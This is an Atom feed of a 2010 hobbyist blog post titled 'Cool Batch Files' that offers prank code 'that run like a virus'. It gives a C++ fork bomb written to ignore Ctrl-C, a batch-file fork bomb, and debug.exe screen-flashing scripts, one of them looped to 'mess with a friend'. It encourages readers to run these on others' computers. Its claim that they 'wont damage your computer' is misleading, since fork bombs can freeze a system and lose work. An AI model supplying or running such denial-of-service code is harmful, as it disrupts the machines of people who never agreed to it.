<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7188101738510290952</id><updated>2024-09-11T08:29:07.413-07:00</updated><title type='text'>Cool Batch Files</title><subtitle type='html'>Cool Batch Files that look like viruses when you run it.&#xa;&#xa;ENJOY :D</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://coolbatchfiles.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7188101738510290952/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://coolbatchfiles.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Richard Wang</name><uri>http://www.blogger.com/profile/04788537530177985141</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCl_7HpDW5E75_w-Ykg8OUF0eEUhw8lNJZ8GlBOPkd024ZqsG_nEKWnfN7IqZgO2HsyrBAlhl4i4ZEobzqRiIsUUIkJiWyEDrvIQZF2RsNToOrMoHzdc3dMxyDtSK73Yw/s220/eb.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>1</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7188101738510290952.post-7680131951563002543</id><published>2010-11-24T12:33:00.000-08:00</published><updated>2010-11-24T12:33:59.232-08:00</updated><title type='text'>COOL BATCH FILES</title><content type='html'>&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;background-color: black; color: red; font-size: large;&quot;&gt;Here are some cool batch files that run like a virus. Try to run it, it wont damage your computer, just for fun. :D&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: red; font-size: large;&quot;&gt;FORK BOMB:&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: red; font-size: large;&quot;&gt;Fork Bomb codes for C++ (in Code:Blocks):&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;#include &amp;lt;windows.h&amp;gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;// example VC++ fork bomb&lt;br /&gt;
// signals Windows not to handle Ctrl-C itself,&lt;br /&gt;
// effectively making the bomb unstoppable&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;int main(int argn, char **argv)&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp; STARTUPINFO si;&lt;br /&gt;
&amp;nbsp; PROCESS_INFORMATION pi;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&amp;nbsp; ZeroMemory(&amp;amp;si, sizeof(si));&lt;br /&gt;
&amp;nbsp; si.cb = sizeof(si);&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&amp;nbsp; while (1)&lt;br /&gt;
&amp;nbsp; {&lt;br /&gt;
&amp;nbsp;&amp;nbsp; SetConsoleCtrlHandler(0, 1);&lt;br /&gt;
&amp;nbsp;&amp;nbsp; CreateProcess(*argv, 0, 0, 0, 0, CREATE_NEW_CONSOLE, 0, 0, &amp;amp;si, &amp;amp;pi);&lt;br /&gt;
&amp;nbsp; }&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&amp;nbsp; return 0;&lt;br /&gt;
}&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: yellow; font-size: large;&quot;&gt;Fork Bomb codes on a notepad&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;background-color: #f3f3f3;&quot;&gt;:s&lt;br /&gt;
start &quot;&quot; %0&lt;br /&gt;
goto :s&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;background-color: #f3f3f3;&quot;&gt;*SAVE IT AS SOMETHING.bat&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;background-color: #f3f3f3;&quot;&gt;change the file type to All Files&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;background-color: #f3f3f3;&quot;&gt;(TRY TO RUN IT)&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;span style=&quot;background-color: red; font-size: x-large;&quot;&gt;﻿Flash Screen&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;@echo off&lt;br /&gt;
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30&amp;gt;\z.dbg&lt;br /&gt;
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75&amp;gt;&amp;gt;\z.dbg&lt;br /&gt;
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88&amp;gt;&amp;gt;\z.dbg&lt;br /&gt;
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3&amp;gt;&amp;gt;\z.dbg&lt;br /&gt;
echo g=100&amp;gt;&amp;gt;\z.dbg&lt;br /&gt;
echo q&amp;gt;&amp;gt;\z.dbg&lt;br /&gt;
debug &amp;lt;\z.dbg&amp;gt;nul&lt;br /&gt;
del \z.dbg&lt;br /&gt;
But if you really want to mess with a friend then copy and paste the following code which will do the same thing except when they press a key the screen will go black and the only way to stop the batch file is by pressing CTRL-ALT-DELETE.&lt;br /&gt;
@echo off&lt;br /&gt;
:a&lt;br /&gt;
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30&amp;gt;\z.dbg&lt;br /&gt;
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75&amp;gt;&amp;gt;\z.dbg&lt;br /&gt;
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88&amp;gt;&amp;gt;\z.dbg&lt;br /&gt;
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3&amp;gt;&amp;gt;\z.dbg&lt;br /&gt;
echo g=100&amp;gt;&amp;gt;\z.dbg&lt;br /&gt;
echo q&amp;gt;&amp;gt;\z.dbg&lt;br /&gt;
debug &amp;lt;\z.dbg&amp;gt;nul&lt;br /&gt;
del \z.dbg&lt;br /&gt;
goto a&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;(*SAVE IT AS ALL FILES, SAVE AS SOMETHING.bat)&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;It will flash your computer screen.&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;background-color: red; font-size: large;&quot;&gt;PRESS Ctrl + Shift+ Enter TO DISABLE IT&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;HAVE FUN!!!&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://coolbatchfiles.blogspot.com/feeds/7680131951563002543/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://coolbatchfiles.blogspot.com/2010/11/cool-batch-files.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7188101738510290952/posts/default/7680131951563002543'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7188101738510290952/posts/default/7680131951563002543'/><link rel='alternate' type='text/html' href='http://coolbatchfiles.blogspot.com/2010/11/cool-batch-files.html' title='COOL BATCH FILES'/><author><name>Richard Wang</name><uri>http://www.blogger.com/profile/04788537530177985141</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCl_7HpDW5E75_w-Ykg8OUF0eEUhw8lNJZ8GlBOPkd024ZqsG_nEKWnfN7IqZgO2HsyrBAlhl4i4ZEobzqRiIsUUIkJiWyEDrvIQZF2RsNToOrMoHzdc3dMxyDtSK73Yw/s220/eb.jpg'/></author><thr:total>0</thr:total></entry></feed>